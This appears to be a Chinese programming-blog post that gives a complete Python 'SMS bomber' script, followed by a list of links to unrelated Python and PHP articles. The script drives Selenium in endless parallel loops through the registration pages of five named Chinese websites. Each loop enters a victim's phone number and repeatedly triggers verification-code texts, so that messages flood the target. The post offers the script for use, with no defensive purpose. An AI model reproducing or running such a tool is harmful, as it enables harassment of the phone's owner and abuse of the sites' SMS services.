Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python 中的with关键字使用详解
Sep 11 Python
神经网络python源码分享
Dec 15 Python
Django中url的反向查询的方法
Mar 14 Python
python如何拆分含有多种分隔符的字符串
Mar 20 Python
使用实现pandas读取csv文件指定的前几行
Apr 20 Python
python实现按长宽比缩放图片
Jun 07 Python
Python+Pandas 获取数据库并加入DataFrame的实例
Jul 25 Python
如何实现Django Rest framework版本控制
Jul 25 Python
解决Pycharm 导入其他文件夹源码的2种方法
Feb 12 Python
python如何利用cv2模块读取显示保存图片
Jun 04 Python
Python预测分词的实现
Jun 18 Python
Python语言中的数据类型-序列
Feb 24 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
php+dojo 的数据库保存拖动布局的一个方法dojo 这里下载
2007/03/07 PHP
PHP遍历数组的几种方法
2012/03/22 PHP
深入for,while,foreach遍历时间比较的详解
2013/06/08 PHP
PHP实现通过Luhn算法校验信用卡卡号是否有效
2015/03/23 PHP
php获取本周星期一具体日期的方法
2015/04/20 PHP
HTA版JSMin(省略修饰语若干)基于javascript语言编写
2009/12/24 Javascript
Tips 带三角可关闭的文字提示
2010/10/06 Javascript
jQuery fadeTo方法调整图片的透明度使用介绍
2013/05/06 Javascript
jQuery判断元素是否存在的可靠方法
2014/05/06 Javascript
js弹出对话框方式小结
2015/11/17 Javascript
AngularJS入门教程之AngularJS指令
2016/04/18 Javascript
微信小程序 购物车简单实例
2016/10/24 Javascript
微信小程序项目总结之点赞 删除列表 分享功能
2018/06/25 Javascript
小程序实现搜索界面 小程序实现推荐搜索列表效果
2019/05/18 Javascript
vuex Module将 store 分割成模块的操作
2020/12/07 Vue.js
python保存字符串到文件的方法
2015/07/01 Python
Using Django with GAE Python 后台抓取多个网站的页面全文
2016/02/17 Python
如何在Python函数执行前后增加额外的行为
2016/10/20 Python
Python爬虫通过替换http request header来欺骗浏览器实现登录功能
2018/01/07 Python
使用pandas对矢量化数据进行替换处理的方法
2018/04/11 Python
如何利用python查找电脑文件
2018/04/27 Python
对python使用http、https代理的实例讲解
2018/05/07 Python
python2 与 python3 实现共存的方法
2018/07/12 Python
Python逐行读取文件中内容的简单方法
2019/02/26 Python
python:HDF和CSV存储优劣对比分析
2020/06/08 Python
html5 跨文档消息传输示例探讨
2013/04/01 HTML / CSS
手工制作的男士奢华英国鞋和服装之家:Goodwin Smith
2019/06/21 全球购物
美国浴缸、水槽和水龙头购物网站:Vintage Tub & Bath
2019/11/05 全球购物
VLAN和VPN有什么区别?分别实现在OSI的第几层?
2014/12/23 面试题
酒店管理专业毕业生推荐信
2013/11/10 职场文书
助人为乐表扬信范文
2014/01/14 职场文书
升国旗仪式主持词
2014/03/19 职场文书
社会实践先进工作者事迹材料
2014/05/06 职场文书
领导班子四风对照检查材料思想汇报
2014/09/26 职场文书
GitHub上77.9K的Axios项目有哪些值得借鉴的地方详析
2021/06/15 Javascript
Win11怎么跳过联网验机 ?Win11跳过联网验机激活教程
2022/04/05 数码科技